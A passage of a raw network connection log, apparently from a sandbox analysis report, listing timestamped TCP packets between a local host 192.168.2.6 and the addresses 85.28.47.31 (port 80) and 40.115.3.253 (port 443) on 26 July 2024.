Jul 26, 2024 10:36:13.954793930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954798937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954809904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954813957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954827070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954833984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954843998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954853058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954860926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954866886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954878092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954885006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954904079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954910040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954921961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954926968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954943895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954950094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954958916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954966068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954976082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954987049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954991102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.955003977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.955008984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.955020905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.955038071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.955041885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.955055952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.955085993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.955748081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.955764055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.955779076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.955791950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.955792904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.955805063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.955823898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.955836058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.020548105 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:14.020613909 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:14.022875071 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:14.022882938 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:14.023124933 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:14.025363922 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:14.025598049 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:14.025604010 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:14.025799036 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:14.031558037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.031606913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.031670094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.031687975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.031704903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.031711102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.031733036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.031750917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.032053947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032099009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.032160044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032176971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032191992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032198906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.032211065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032217979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.032231092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032232046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.032246113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.032305956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.032880068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032897949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032912970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032927036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.032931089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032943964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.032948017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032963991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.032963991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.032983065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.033015013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.033767939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.033786058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.033802032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.033813953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.033818960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.033828974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.033833981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.033848047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.033869982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.033881903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.034379959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.034459114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.034487963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.034504890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.034532070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.034544945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.034826040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.034842968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.034858942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.034876108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.034877062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.034897089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.034930944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.035336018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.035352945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.035371065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.035377979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.035387993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.035403013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.035403967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.035420895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.035434008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.035491943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.036262989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.036279917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.036295891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.036310911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.036312103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.036328077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.036331892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.036345959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.036355972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.036361933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.036382914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.036406994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.037195921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.037211895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.037228107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.037242889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.037244081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.037261009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.037264109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.037277937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.037286997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.037295103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.037311077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.037324905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.037337065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.038057089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.038074970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.038089991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.038115025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.038149118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.038537979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.038553953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.038569927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.038584948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.038594007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.038603067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.038619041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.038638115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.038651943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.039582014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.039598942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.039616108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.039623022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.039639950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.039643049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.039659023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.039659977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.039678097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.039679050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.039695978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.039701939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.039721966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.039740086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.040405035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.040422916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.040436983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.040452003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.040467978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.040468931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.040488958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.040498972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.040514946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.040520906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.040543079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.040569067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.041363955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.041382074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.041397095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.041412115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.041414022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.041425943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.041431904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.041444063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.041460037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.041460991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.041485071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.041507006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.042545080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.042562962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.042578936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.042593002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.042594910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.042610884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.042612076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.042620897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.042629004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.042642117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.042644978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.042658091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.042673111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.042690039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.043401003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043418884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043435097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043452024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043452978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.043467999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043481112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.043487072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043512106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.043533087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.043875933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043890953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043908119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043925047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043926001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.043941021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043943882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.043958902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043972015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.043976068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043992996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.043996096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.044008970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.044015884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.044040918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.044884920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.044902086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.044918060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.044931889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.044938087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.044950962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.044965982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.044992924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.045022964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.045063972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.045872927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.045892954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.045906067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.045923948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.045936108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.045955896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.072510958 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:14.127522945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.127587080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.127649069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.127665997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.127687931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.127712011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.127785921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.127801895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.127818108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.127834082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.127835035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.127856016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.127892971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.128606081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.128621101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.128637075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.128653049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.128660917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.128660917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.128669024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.128681898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.128686905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.128710985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.128710985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.128730059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.129404068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.129419088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.129435062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.129448891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.129460096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.129465103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.129468918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.129482031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.129499912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.129514933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.130449057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.130465984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.130480051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.130495071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.130501986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.130511999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.130528927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.130528927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.130553007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.130570889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.131148100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131164074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131177902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131194115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131196976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.131211042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131216049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.131227970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131256104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.131268978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.131831884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131848097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131863117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131877899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131889105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.131894112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131910086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131921053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.131925106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131939888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.131942987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.131967068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.131993055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.132576942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.132592916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.132606983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.132622957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.132626057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.132639885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.132647991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.132657051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.132672071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.132678986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.132688046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.132698059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.132704020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.132725954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.132750988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.133053064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.133069038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.133083105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.133099079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.133105993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.133114100 CEST	80	49710	85.28.47.31	192.168.2.6
